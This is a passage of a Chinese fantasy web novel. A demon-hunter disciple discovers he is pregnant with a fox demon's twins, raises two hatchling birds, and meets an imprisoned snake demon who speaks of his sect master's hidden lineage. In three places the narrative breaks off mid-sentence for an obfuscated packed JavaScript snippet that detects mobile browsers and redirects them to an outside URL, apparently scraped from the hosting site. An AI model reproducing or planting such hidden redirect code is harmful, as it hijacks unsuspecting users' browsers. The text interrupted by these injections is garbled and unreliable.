最初能够那般容易接受和一名男性妖族做那种事除了情毒的原因自然也是因为银青那个大狐狸实在符合他的审美。 “也罢，那一个月都过来了，我还怕这双修？” 银青身为妖族能够不计较身份给他这个除妖师解摄魂印，他自当知恩图报，替对方解去寒毒之苦。况且他看这个《纯阳合欢策》的目的本就是为了替银青解毒，解毒才是关键，至于方法，那不是重点。 匆匆扫过书册后面的小人图，苏言辰又将书册翻到最前面。 “若练此功，则需废去现有身法……这功法倒是霸道得很。”苏言辰在心中默默吐槽，不过对于他来说刚刚好。 在玄天宗近二十年，他除了基本的除妖剑法也只学会了最最基础的引气入体的修炼方式，至于功法，那都是外出做除妖任务的弟子们才能接触到的东西。他这个一直被摄魂印控制心神，只想着完成看管者下发指令的傀儡自是没有资格修炼功法。 如今乍一遇到这传闻中的东西，即使有点不太正经，苏言辰依旧对此感到好奇。 “不过……合欢宗的镇宗之宝，这个合欢宗我怎么没听教习师傅说过呢？” 在最初进行教学前，教习师傅会给新入门的弟子大致介绍一番这世间局势、人与妖两族间极其恶劣的关系以及除妖师出现的缘由、除妖宗门的分布，最后激励弟子，给他们灌输除妖思想。 这种事情每隔个几年都会上演一次，他也每年都会被申元玥拉过去凑热闹，那番话就像车轱辘一样在他脑子里滚了一轮又一轮，已经烂熟于心。 等到被雷劈后逻辑思维上线，再次回想教习师傅说的话，苏言辰倒是从中找到了些许怪异之处。 教习师傅说的这世间宗门全都为除妖而生，但实际上这些宗门还承担了部分类似官府衙门的职责，每个城镇的管理者一般都由除妖宗门培养的人担任。 并且人族最高决策者并非是一个人而是晏盟，一个由各大宗门的掌管者组成的盟会。其中晏字取天下太平之意，至于如何太平，自是灭妖。 无论是教习师傅的教导之言还是民间传闻，申常德口中说过的人王是半点痕迹都未出现，不光人王，妖王亦是如此。 “要么这个合欢宗太过名不经传……”苏言辰想了想自己率先否定了这个猜测，光看宗门名这个门派就不可能默默无闻。 况且按照先前在竹简见到的自荐之语看，这合欢宗的行事作风也并非是低调的路子，连双修册子都说发就发，可谓算是张扬。 “要么就和人王他们一样，被什么抹去了痕迹。” 若是那样，此中定然藏着什么不可被人知晓的大秘密。 思索到这里苏言辰冷不丁打了个激灵，拍了下自己的额头：“想那么多做什么，当务之急还是修炼解毒。” 什么都要一步一步来，多思多虑反叫人心烦意乱。 此中虽涉及了他此生的人王父亲，但他从未见过此人，要说情感自然没有，顶多有一点点好奇。再有人王与妖王间的杀身之仇，他反倒更希望自己的真实身世不要这么曲折。 苏言辰继续翻动书册，将其上文字细细记下。 …… 金乌斜挂，晚霞将半边天色染得赤红一片，苏言辰沐浴着晖光从外面回来。 关上门，他默默锤了捶腰，往后一仰躺倒在床上。 “这一天天的，破事真多！姓宁的怎么就没和申常德一块儿出去呢。”苏言辰转了个身，面朝床外对着桌子，幽幽叹了口气。 上午的时候，他还未看完那《纯阳合欢策》的上册，便被其他弟子通知了门派指令。据说宁长老担心有宵小之辈趁宗主外出心生不轨，于是下令让玄天宗门下无除妖修习任务的门派弟子对宗门周遭进行巡逻。 给他分配任务的估计是个清楚他傀儡身份的家伙，知道他对宗门指令言听计从，便将整个宗门后山的巡逻任务交给他，自己放心的带着几个同门不知所踪，估计是到哪处躲懒去了。 “若非我被银青用狐火暂时解了控制，今儿个可不得累死。”若真结结实实将后山巡视一圈，就这大半天的功夫，单一个人巡视那工作量自是极大。 苏言辰自然未曾听从那指令，而是估摸着时间在后山闲逛顺便摸索路径。等到傍晚走到后山另一端倒是见到了他那几个同门站在路边，就等与他集合前去交付任务。 闲逛和认真巡逻相比不算累人，但大半天的闲逛到底有些费腿。 像是突然想到了什么，苏言辰忙坐起来伸手从怀里掏出两枚鸟蛋。 蛋身灰绿色，上面布满了褐色的斑点，也不知道是什么鸟的蛋。 回忆起获得这两枚鸟蛋的经历，苏言辰摸了摸自己的鼻子，只觉脸上再次出现幻痛。 当时已临近正午，他坐在树下休息。就在他有一口没一口啃着干粮的时候，接连两个小巧的东西砸中了他的鼻梁，顺着衣襟，一路从胸口落到他的两膝之间，幸而中间有衣摆兜着，才没叫这两枚蛋碎掉。 等苏言辰爬上树却并没有在上面瞧见鸟巢的踪影，想来是两枚被遗弃的蛋。 无亲鸟孵化，这两枚蛋的下场可想而知。但苏言辰觉得这两枚蛋运气不错，从树上掉下来都能完好无损且在其中他还能隐约感应到生命的气息。 “应该还是两枚活蛋。” 因着这点原因，他便将两枚蛋揣进怀里，准备带回去尝试孵化。 “若是能成功自然最好，若是不成，那就是你们命该如此。” 回忆到此，苏言辰轻轻戳了戳两枚鸟蛋，将它们用小毯子裹起来放在一旁桌上，用燎炉暖着。 不知不觉间，外面的天色暗了下来。因为房间的地理位置相对偏僻，周遭更显寂静。 苏言辰坐在空荡荡的房间里，内心忽觉有些孤独。因着他傀儡的身份，除却申元玥这偌大的宗门里竟无一人能与他成为朋友。 他轻叹一声，视线忽被桌上摆着的剑柄红绳吸引。 也不知道银青现在在做什么？ 或许在给银雪他们做各种炖鸡烤鸡烧鸡，在喂小狐妖崽们吃饭，又或者和他一样，待在自己的房间里发呆…… 想起新获得的能解寒毒的功法，苏言辰旋即盘腿端坐在榻上，心中回想上午时记住的口诀。 “闭目凝神……” 他闭上双眼，按照册上的说法，借助引入体内经脉的灵力，尝试开启功法第一步——内视。 最初眼前同以往一样什么也看不见，只能感觉眼前的烛火照着自己的眼皮，并非漆黑一片而是种无法形容的颜色。 后来心神慢慢收束，灵力也在经脉中运转了一周天，他耐心地按照功法，尝试一遍又一遍。 再后来，苏言辰只觉眼前忽然亮了起来，那代表灵力的白色柔光在体内经脉中的走向慢慢展现在他的脑海里，就好像体内也有一双无形的眼睛。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281235|151842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 莹白的灵力自脐下丹田出发，经过尾闾沿着后背脊柱上行到玉枕最后又从头顶百会下行至两颊、喉头乃至胸前膻中最后重新归于丹田。这便是日常修行之时灵力运转一周天的大致经脉走向。整个视角清晰明了，同时还可以通过内视感知到五脏六腑的状态。 第一步达成，苏言辰正待进行下个步骤时，忽觉那内视中丹田附近的构造似乎有哪些不对。 “好像……多了点什么。” 他尝试着用灵力触碰那团小小的泛着红色好像在跳动的东西。试探的灵力很快被其吸收，与此同时他耳边似乎出现了心跳声。 扑通——扑通—— 声音微弱却无法忽视。 随着这个小东西的全貌逐渐展现在内视视角中，苏言辰的眉头也逐渐皱起。 片刻，他猛地睁开眼睛，神情有些惊恐。 “这玩意儿怎么是活的？！” 不仅仅会动，还有手有脚有尾巴，甚至还不止一个，是两个！ “真是见鬼了。”苏言辰揉着脑袋，越来越觉得那奇怪的东西看上去很眼熟。根据内视传递出的模样，他迅速在纸上画出一副抽象又形象的图案。 脑海中属于前世今生的记忆在疯狂闪现着。 有手有脚，那圆溜溜的小黑点尤其像眼睛，还有心跳以及已见雏形的脏器…… “他大爷的，这怎么那么像人？！！！”他肚子里怎么会有人的胚胎出现？ 这一定是他在做梦。对，这是假的。 苏言辰面无表情躺回床上，盖上被子，闭眼。 下一秒，睁眼。 “莫非这个世界男人也能怀孕？还是男人和男妖在一起了，男人会怀孕？”苏言辰瞪着眼睛望向上头的床幔，表情有些迷茫。 细想自己这几个月只和一只九尾大狐狸上过床，苏言辰只能想到这是妖族的特殊性。 “妖族居然能让人类怀孕。”他怎么从未听说过这等传闻，还是他孤陋寡闻了？ 想着或许是自己看错了，苏言辰心怀侥幸再次按照方才的方式进行内视。这一次因为有过一次内视的经验，他反而将胚胎的外形看得更加清晰。 “……” “……” 半晌，苏言辰睁开眼睛，嘴里吐出一句话。 “……有点丑，一点也不像我。” 他低下头，看向被霁青色外衫包裹得严严实实的小腹，一点弧度也没有，谁能想到里面居然有两个胚胎。 “这玄天宗是真不能待了。” 在努力劝好自己接受了这一无法改变的事实之后，苏言辰第一时间冒出这个想法。 先前虽已经开始计划出逃，但还只是一个想法，如今意外频出，逃出玄天宗的念头愈发迫切起来。 至于跑去何处…… “先去找银青，将他身上的寒毒解了。”翻了翻小册子，苏言辰撑着脑袋思索着下一步计划。如此，他身上的摄魂印也能在银青的帮助下消去。至于之后…… 之后自然是另做打算。 他与银青之间的关系如今已然变得复杂。不再只是上过床的情毒共同受害者，朋友，仇人，现下更是多了一个更加奇怪的关系。 如此看来望月山的月华村也不再是他能长久居住的场所。他需要另寻他处安家，带着这两个突如其来的小崽子。 望着窗外漆黑的夜色，苏言辰深深叹了口气。 这两个……他同银青的孩子。 16. 第 16 章 “啾啾~” “啾啾啾~” 早晨的清净被一阵细密嘈杂的鸟叫声打破。 床榻上闭眼沉睡的青年睫毛颤动了几下，翻了个身将被子盖到耳朵上方。 感觉到那吵闹声好似离自己越来越近，苏言辰露在被子外面的眉头越皱越紧。 “什么声音？！”他猛地掀开被子，对着声音传来的方向怒目而视。 “……啾？” 青年满是烦躁的双眸对上了两对黑不溜秋的豆豆眼。 “……” “？” 两只秃毛的小雏鸟站在床边的柜子上呆呆看着苏醒的人族，似是见人醒了，那叫人心烦的叫声顿时停了下来。就在双方对视的功夫，雏鸟那半个巴掌大的小身子以肉眼可见的速度长出羽毛，很快变成毛茸茸两小只。 瞧见桌面上那散落一桌的碎蛋壳，苏言辰视线又落到离自己更近了的两只小雏鸟身上。 “这么快就破壳了？” 他伸出手指，小心翼翼触碰到离自己更近的小白鸟身上。 谁料后面的小黑鸟却一屁股顶飞小白鸟，朝苏言辰乖巧地叫了声，像在问好。 “啾叽~”问小殿下安。 “你这小家伙倒是霸道得很。”点点小黑鸟的脑袋，苏言辰将两只小鸟放到不远处的桌上，自己起身穿衣。 低头整理腰带的时候，也不知道是不是错觉，他竟觉得原本躺下时平坦的腹部好似有了一点弧度。 努力被自己忽视遗忘的昨夜记忆又浮现在脑海里。 他的肚子里现在存在着两个葡萄大点的小胚胎。 苏言辰手上的动作微微一顿，怀着古怪又好奇的心理伸出手掌试探着触碰自己的小腹。 温热又有韧性的触感，和过去并无多少差别，但或许是心理暗示的原因，再度触摸时他感觉手下的皮肤似乎比往昔更加柔软一些。 就像……在为未来的孕育做准备。 意识到这点，苏言辰身形一僵猛地摇了摇头，随后加快了穿衣的速度。 这种感觉未免太过奇怪了。 他拿起长剑，准备前去庭院里修习基本剑法，不想刚走没几步身后便传来撕心裂肺的雏鸟啼鸣声。 “好吵。”为了避免被他人听见这叫声发现自己院内不正常之处，苏言辰迅速折身返回屋内。 “你俩，是有什么事吗？”他弯下腰，对着两只豆豆眼，发出询问。 “啾~”两只小鸟嘴长得极大，露出肉红的嗓子眼，豆大的眼睛面露期待地看向返回的人族。 这是…… 苏言辰像是想起了什么，双手骤然一拍。 “原来是饿了。”看着面前两只小鸟成精了似的点了点脑袋，他内心好笑之余又难免产生一丝困惑。 平常鸟有这么聪明吗？还是这俩小家伙其实是妖族，苏言辰心中忽然想到昨日宁长老下发的巡逻指令。可如今他手上这寻妖罗盘也并未指向两只小鸟，或许是他多想了。 这只是两只天生聪明通人性的小鸟罢了。 “你们是什么鸟，吃荤吃素还是荤素搭配？”他伸出手掌放在桌面上，看着两只小鸟机灵地跳上去，随后被自己藏在衣服兜里。 很快他的衣服前襟便钻出两只毛茸茸的鸟脑袋。 “待会儿若是见到人记得钻回去，也不要出声。”他叮嘱道。 话虽如此，其实只是到庭院里走一遭。他的早食都会由小师妹派遣的专门的人送到他的院门口，接着由他自己来取。因为外面做了保温的措施，只要他正常醒来早食就不会冷掉。 “苏师兄，按照宁长老的指令，今日我等亦需对宗门后山进行巡逻。” 饭刚吃完，宗门的任务也下发下来。 未等苏言辰说什么，两只小鸟崽一蹦一跳顺着青年的肩膀沿着手臂跳到桌上，窝进对方给他们做的鸟窝里，模样格外乖巧。 “嘿，真是俩小机灵鬼。”见状，苏言辰心中一乐，将桌上摆着的武器拿上，转脸朝它们轻声说道：“不要乱跑，等我回来。” 语毕，他便跟随院门口的玄天宗弟子前去巡逻。 缀在队伍最后面，苏言辰悄悄回头望了眼自己的院子，内心竟有种奇妙的担忧感。 明明只是两只小鸟，感觉上却像两个小孩子。 今日与他一同巡逻后山的弟子除了昨天那领头之人未变，余下倒是些生面孔。就在苏言辰以为今天要实打实进行一轮后山巡视之时，却见领头之人走近他拍了拍他的肩膀，随后便同昨日一样，带着手下小弟呼啦一下便跑了。 “苏师兄，今日也靠你了，傍晚时咱们另一头汇合。” “……” 苏言辰站在原地，看着他们的背影，一阵无言。 挺好，这样既方便他人也方便自己。 他转身走进后山领地，在心中开始规划路线。 大部分门派都是依山傍水而建。毕竟依山者，有靠山，傍水者，有财气，依山傍水方为风水吉地。玄天宗这个宗门除去大门外，便只有后山可以与外界相通。 但由于平日里宗主总会在后山，玄天宗的弟子便也不会无事便去后山。这次若非长老下令，苏言辰都不会知晓后山的具体地貌。 “感觉怪神秘的。那个老家伙总呆后山做什么？”苏言辰想着路上同门们聊天时提及的对后山的了解，顿时心生怀疑。 想从玄天宗逃走，走正门要走的流程很多，他作为傀儡一般若无指派任务也不会随意出宗门。倒是可以让小师妹领任务，然后带着他出门。可惜……自上次他挣脱摄魂印被发现后，申常德那个老家伙似乎疑心病犯了，规定小师妹若要带他这个傀儡出门，必须带上申元瑞那家伙。 “有些可惜。”他踩着地上的落叶一步一步沿着山路走着，枯叶在脚下发出嚓嚓声。若是申元瑞那家伙伤好的快一些，他与小师妹或许可以尝试从前门逃出玄天宗。 这后山出逃虽看上去简单，但实际上由于地形原因，等离开玄天宗后，还要经过一大段山路才能到达最近的城镇，中间还会有野兽毒虫的威胁。至于到达城镇后，那些由宗门培养的管理者的悬赏阻拦又是一大难题。 更别提他如今的特殊情况，若是半路被身体拖累 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281236|151842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，那可就太糟糕了。 “怎么越想越觉得希望渺茫呢？”苏言辰叹了口气，看了看天色，随后靠着一块山岩坐下来。 要是自己能飞行就好了。他瞥了眼身旁的长剑，就像前世小说里所说的御剑飞行。到时候，自己想怎么跑就怎么跑，原地起飞。也不必担心被追上的问题，走的怎么可能比得上飞的？ 但迄今为止，他却从未在宗门见到过能御剑飞行的人，传闻也没有。明明连灵气都有了，功法也存在，整个世界修炼者的境界却普遍很低。 “莫非这也同人王消失的原因一样？”苏言辰摩挲着赤色的剑柄绳，视线突然被不远处一块偏白色长条状的物体吸引。 在整个遍地都是褐色枯黄色落叶的地面上，这种浅色尤为醒目。 越是靠近，那物体的细节便越是清晰。 是半截泛黄的半透明蛇蜕。 用剑鞘挑起地上的蛇蜕，瞧见了蛇蜕的具体大小苏言辰不由瞳孔紧缩。 “这得是多大的蛇啊？要成精了吧。”他喃喃说道，看着宽度都可以比得上上次见到的小师妹的蛇身，甚至更宽更大。 “就只有半截，怕不是和小师妹一样是个蛇妖。”苏言辰心中这般想着，心念忽的一动。 等等，据同门所言，申常德总待在后山，而小师妹是一条蛇妖，后山又出现了巨大的半截蛇蜕，这几个线索一结合，就能推导出一个结论：申常德也是蛇妖。 “……这不可能。”除妖师大宗门的宗主是个想将天下妖族全部除尽的蛇妖，开什么玩笑，他怎么没先自己自杀？ 就在苏言辰自我反驳之时，他忽然敏锐地感知到有一道凉丝丝的目光投在了他身上，身上的鸡皮疙瘩在一瞬间冒了出来。 好像有什么东西在暗中紧紧盯着他。 头顶的阳光依旧那么灿烂，他的内心却感觉不到暖意，唯有那道冰凉的目光静静注视着他。 眼睛的主人似乎并不想隐藏自己的所在，很快，苏言辰的眼睛便撞上了一双幽绿色的竖瞳。 一双隐在幽暗山洞中的竖瞳。 对视的一瞬间，苏言辰只觉全身猛的一僵，像被什么天敌盯上一般，冷汗刷的一下从背后冒了出来。 这与先前见到小师妹的蛇瞳不同，这双蛇瞳一见便能叫人知晓，这是双见过血的眼睛。 “过来……”幽幽的女声传递到他的耳畔，与视线给人的感觉不同，倒是带有几分温柔的意味。 苏言辰站在原地，一时间不知道自己是走还是……走。 这种从感觉上就觉得危险的玩意儿他是不想活了才往上凑呢。苏言辰果断转身，撒腿就准备跑。 “站住……” “你这个怀着狐狸崽子的小家伙，胆子未免太小了。” 闻言，苏言辰紧急停下脚步，转身望向山洞的方向。 这等距离，他依旧还能感觉到那股凉丝丝的视线，那种感觉并不能算是舒服，但仔细感知却也并非存在什么恶意。 想到方才听到的话语，他迟疑着往山洞挪了几步。 “您老人家……是在叫我？” 17. 第 17 章 话音刚落，一妖力所化的绳索从山洞中飞速窜出紧紧缠住青年的手腕将他拖向山洞口。 “诶，慢点慢点，别拖这么快。”顺着这股妖力，苏言辰一路踉跄着栽进山洞，即将扑到到地上时，缠住手腕的妖力绳索及时松开，扶了他一把。 “呼——”算你好心。 苏言辰长吁一口气，拍了拍身上的灰尘，抬头打量着身处的山洞。 山洞里的实际情况倒不像想象中那样阴暗，在绕过最初山洞口的拐角后，山壁上反倒燃着明黄的烛火，将洞内的环境照的一清二楚。 待看清洞内的事物之时，饶是苏言辰对此心有准备也被眼前的一幕惊得睁大了眼睛。 “好多……”蛇蜕。 这些蛇蜕同外面见到的那个一样，只能见到蛇尾而没有蛇头就好像只有半截。 对了，那个蛇妖呢？ 意识到这点，苏言辰环顾四周，却并没有看到半点人影儿。 “你是在找我吗？” 低沉的女声从上方传来，苏言辰循声往上瞧，一张拥有幽绿眼瞳的女人脸陡然垂到他的眼前，朝他露出一抹笑容。 蛇女翻身下来，落到苏言辰的面前站定。 清脆的锁链声响起，苏言辰这才发现，这个青蛇妖被一条极粗的锁链锁住了脖颈，链条一直蔓延至洞穴深处，叫人看不真切它的真实长度。 “你在发什么呆？胆子现在倒是大起来了。”冰凉滑腻的手指触及青年脖子上的喉结，旋即很快离开。看着面前的除妖师，蛇女眼中露出一丝惊奇。 “你这小家伙居然真是个男娃。” 面前的青年身着一身熟悉的玄天宗弟子服，分明是除妖师，腹中却隐隐有股天狐幼崽的气息。若非她是青蛇一脉嗅觉相较其他蛇族更为灵敏，又经历过生育熟悉那种孕育的味道，怕是很难察觉到这点。 至于为什么知道是天狐族的血脉…… “小子，你见到过天狐族？”这个世界里的天狐族，怕是只有那位妖王的独子，那个被申常德偷走的小天狐。 听到这话，苏言辰瞬间警惕起来，他往后退了几步，反问道：“你身为妖族怎么会在玄天宗的后山上？”看那锁链的架势，分明是被人特意关在这山洞里的。 见苏言辰避而不答，蛇女倒不生气，她绕着面前像是要炸毛的小家伙转了一圈，下半部分的青色蛇尾在地上滑动，发出细微的摩擦声。 “你小子倒是有趣的很。”身为玄天宗的除妖师没被教导的像先前几个蠢货一样，见到她便热血上头要杀她就罢了，身为人族男性居然身怀子嗣，还是与除妖师敌对的妖王一脉的子嗣。 真是太有趣了。 她在青年面前抱胸站定，绿色的妖力化作手的模样拍了拍对方的肩膀，语气懒懒：“小家伙，要不这样，我俩一换一。你问我答我问你答，这样如何？” 这听上去倒是公平，苏言辰沉默点头，况且就算他想拒绝也难。这蛇妖可以轻松将妖力化形为己所用，一看修为就高深，自己必然不是她的对手。 “先来互通一下姓名。我单名一个黛字。瞧你的年岁，和我女儿相差不大，你可以称呼我黛姨。” “玄天宗弟子苏言辰。” 名叫青黛的蛇妖并不担心青年会耍花招，自己先回答了之前的问题。 “至于我为何在此，自然是因为你们玄天宗的宗主，申常德。他……” 在青黛的诉说中，申常德同她一样原是人蛇两族的混血。两人因相似的身世也曾有过一段相濡以沫的时光。后来不知何时起申常德的观念发生了改变，行事也变得偏激，他俩之间的情感也逐渐破灭。等到玄天宗建立，为了阻止她离开，申常德便将她囚禁在了玄天宗的后山。 “人蛇混血……”原来申常德那个老家伙身上真有妖族血脉。 苏言辰扫过山洞内那一大叠蛇蜕，照青黛的说法，这些蛇蜕并非全都源自于她，其中不乏申常德假借闭关前来此处蜕下的蛇皮。 “对了，方才听你说‘来到这个世界’，这个世界是什么意思？莫非你们不是这个世界的人？”苏言辰想到青黛话中透出的这一细节，这背后隐含的信息或许能解答他先前对人王妖王被抹去踪迹的疑惑。 对于苏言辰的追问，青黛眉头一挑，缓慢游到他的面前，嘴角略微勾起，提醒道：“太心急了，小家伙，我们可要按规矩来。接下来，该我提问了。” “……好。”按捺下心中好奇，苏言辰耐着性子等待蛇女的发问。 “你腹中的孩儿带有天狐族的血脉气息，你见过天狐族。”青黛伸出手指在苏言辰面前摇了摇：“不要想着反驳，也别小看青蛇族的嗅觉感知。” “你就是见过天狐，还和这个妖族拥有了子嗣。”话音落下，蛇女又小声嘀咕了一句，“虽不知道，你这小家伙是如何用男身孕子，但……不，不行，我还是很好奇。” 她声音又大了起来，幽绿的竖瞳直勾勾凝视着面前的年轻除妖师，开口发问道：“以男身孕子着实罕见，你又是玄天宗的弟子……身为除妖师怀上妖族的子嗣，你就没想过打掉？” “打，打掉？什么打掉？” “打胎呀。”青黛指向苏言辰的小腹，语气不紧不慢道：“瞧着还没显怀，若你是被迫怀上的，想要流掉胎儿还来得及。” “……” 苏言辰没立即回答，身体却率先做出反应，一巴掌将蛇女的手指拍开，护住小腹，又后退了几步。原本他俩之间还有段间隔，结果说话间，这个叫青黛的妖族又蹭蹭往他那边游了几步，两人之间的距离又拉进了。 “啊哟，你这个小家伙是不愿意啊。”瞥见苏言辰下意识的动作，青黛顿时眯起眼睛，身后的蛇尾不自觉地左右摆动，她一脸兴味地催促着。 “快，该你回答我的问题了。”这偌大的玄天宗，能找到让她感兴趣的东西不多，眼前倒是有一个。 “……好歹也是两条小生命，又不算碍事，留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281237|151842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着也无妨。”对上蛇女满是探究的眼睛，苏言辰不由撇开脸，内心蓦然升起一股羞恼之意。 “你问这么多做什么，和你又没关系。” 周围顿时安静了几秒，随即一阵啧啧声响起。 “倒是我做坏人了。你与天狐族那小子原来是两情相悦。”青黛摇了摇头，眼睛顿时亮了起来。 这等妖族与除妖师的爱情故事，她可从未听说过。往日里听到的虽也有人族与妖族的故事，就好比像她这样的人蛇混血，但普遍都是一方强迫或是欺骗另一方，致使人妖混血的出现。 以她多年的经验结合眼前除妖师的反应看，事实似乎并非那么简单。 “没，没有。我们只是朋友。”听了这话，苏言辰又往后退了几步，口中快速反驳。 “哦~原来是单相思。”瞧见面前这个小家伙羞涩的表现，青黛摩挲着下巴，将自己的猜测说了出来。 “……” “你这蛇妖实在八卦得很。”说话间，苏言辰整个人已经退到靠近山洞口，他望了眼天色，旋即对青黛说道：“今日时间不早了，若是有机会，我还会来见你。” “今日就先到这里吧。” 怕蛇女再次故技重施，将自己拖回洞内，苏言辰迈开腿跑得飞快。 “悠着点，别伤着孩子。” “噗，咳咳。”跑到半路听到风送过来的青黛的叮嘱，苏言辰脚步一顿，随即发出大声的呛咳声。 外头的太阳还挂在天上，但他方才对蛇女说的时候不早也不完全算借口。距离傍晚虽还有段时间，但也刚刚够快步走到后山的另一头。 拿着长剑拨开路上的杂草，苏言辰垂下眼眸，心不在焉地赶着路。 那遇到的蛇妖虽怪了些，有些话却确实叫人深思。 自己在发现怀孕时，为何第一反应不是打掉而是默认留下？在今天被蛇女点破之前，他的脑子里似乎就没有打胎这个选项。 “难道我潜意识里就想留下这个孩子？”他心中反问自己，又自己回答。 “因为我与银青是朋友。留下好友的子嗣也……很合理吧。” “……”合理个屁！哪有正常男性愿意怀好友的孩子还准备将其生下来的。他甚至在今日前都没考虑过怎么怀怎么生。 挥剑斩去路旁的杂草，苏言辰沉默了片刻，自我安慰道：“没事，我只是没想到。” 毕竟自己昨晚才发现自己怀孕的消息，这一时反应不过来很正常。如今他自身安危都难以预料，至于其他事情还是等逃出玄天宗后再说吧。 “况且……这孩子又不单是银青的血脉，身上还留着我的血，舍不得不也很正常嘛。”如此劝服了自己，苏言辰心中微微一松，没错，骨肉之情自古就难舍难割，他这样也是人之常情。 “苏师兄——” 远远的，苏言辰便听到了山脚下那几个玄天宗同门呼喊的声音，他下意识回避了心中的某个想法，加快步伐往山下走去。 18. 第 18 章 等真正回到住处，月亮已经升上枝头。 拖着疲惫的步伐，苏言辰顺手将院门前的食盒拎起进了屋子。 刚推开门，一毛茸茸热乎乎的小东西扑腾着翅膀迎面砸向他的脸。 “唔！什么东西？” 等将灯点上，苏言辰这才发现被他抓在手上的是一只黑不溜秋的小……乌鸦？ 而在桌面上还安稳站着一只白色的和乌鸦长得极其相似的鸟。 “哇——嘎！”小殿下您回来啦！ 见青年呆愣地看着自己，墨翎努力挣扎了几下后发现挣脱不出只能窝在对方手里发出鸣叫，同时内心充满无奈。 他与白羽分别隶属于人王与妖王，此次进入这个世界的目的是为了寻找两族小殿下。 由于鸦族的特殊天赋，他们可以用秘法快速穿越空间。但由于天生防御弱，穿越空间的危险性又不可控，如非必要，鸦族很少使用这一秘法。 若不是在一个多月前，人王陛下意外感应到自己子嗣的气息出现在无根之境，他与白羽也不会冒险前往这个小世界。 当年因为不具名原因，申常德那个半人半妖的家伙勾结两族叛徒密谋掠去了两族首领的子嗣，还逃往了大世界下的十八小世界。因为无法确定具体方位，两位陛下只能每年派出人手在各个小世界进行寻找。 因各个小世界的规则不同，前往寻找的人也会受到不同程度上的限制。而小世界中的无根之境是唯一一个脱离天道控制的特殊世界。除非从内部打破世界封印，否则该世界的人只能老死其中，而不能飞升上界求得长生。也因此，他们都未曾想到申常德会逃往这个世界。 谁知刚用秘法进了这个世界，他和白羽便因为世界规则被封印了修为不说还回炉重造了一遍。如今更是化作原形连人话都不能说。 “嘎啊……”造孽啊。 思绪回到现实，墨翎继续有气无力地嚎了一声，眼巴巴望着他的小殿下。 殿下，请你务必争气，破开世界封印，带着臣下一同回到大世界啊。 苏言辰望着傻不拉几望着自己的小黑鸟，轻轻松开手掌。 “才一天没见，就这么想我？还是饿了？”刚进门就扑上来，真是吓他一跳。 他打开食盒，将其中的饭菜一一端到桌上。 等端到最后一道汤品，见着那奶白汤色上漂浮的油脂，时隔多日未曾有过的恶心感忽然再次冒了出来。 “今天怎么是鱼汤？” 苏言辰不由掩住嘴发出一声干呕。随着汤味弥散开，那种鱼腥气也越来越浓郁。感受胃部不断翻涌的呕意，他随即放下汤碗，抱着桌边用来装垃圾的渣斗呕吐出声。 因为没吃东西，最后吐出来的也只有苦苦的液体。 像是被这阵剧烈的孕吐惊到了，苏言辰抱着渣斗一脸茫然地跪在地上，望着桌上的菜品，眼角泛着生理性的红晕。 “嘎？”下毒了？ 墨翎挥动着翅膀落到鱼汤附近，闻了闻，没感觉出有毒气味，又伸出嘴尝了尝，又尝了尝。 就在他做出这一番动作之后，他忽然感觉到背后有一股不容忽视的视线，整个毛团似的小身子猛地打了哆嗦。 一双手快准狠抓住墨翎的鸟身，连同桌上的鱼汤碗，一齐放到屋子外面的走廊下。 “从早食食谱看你俩应该是能喝汤吃肉的，既然如此，这鱼汤就归你们了。” 苏言辰返回屋内，对上小白鸟无辜的眼神，他面不改色继续捉鸟放到屋外。 “如今我因为怀孕，吃不了这种有腥味的东西。你俩长得这么像乌鸦，想必也是吃鱼的，就努努力解决掉它。” “不要浪费食物，做五好小鸟。” 认真叮嘱完，苏言辰揉了揉两只呆在原地的小家伙的脑袋，捂着咕咕叫的肚子转身回到饭桌旁。 好在除却鱼汤，剩下的都是较为清淡的菜色，足以填饱他饥饿的胃部。 也是在方才，他才反应过来，原先自己那几次莫名出现的呕吐或许就是那传说中的孕吐，前世所学的生理知识在这一刻发挥了作用，让他不至于一头雾水。 “当妈妈可真不容易啊。”回想刚刚那种要把胃吐出来的难受感，苏言辰叹了口气，心中有些发怵。 才怀孕初期就这般难受，以后不知道还要有什么症状等着他，他有点……害怕。 因为那父辈间的仇怨，他自然不会将这个孩子的存在告诉银青，这也就代表，所有的一切他都要独自承担。 口中的食物变得没滋没味起来，苏言辰放下碗筷，起身坐到榻上。 熟悉功法并进行多次修炼后，进入内视不再像初次那般艰难，怀着难言的心情苏言辰再次看到了无数莹白灵力下自己腹内安稳孕育着的小小胚胎。明明还是丑丑的，他却品出一点可爱。 或许，自己最开始就没想要打掉胎儿还有个重要的原因，那就是……他在这个世界太过孤独了。 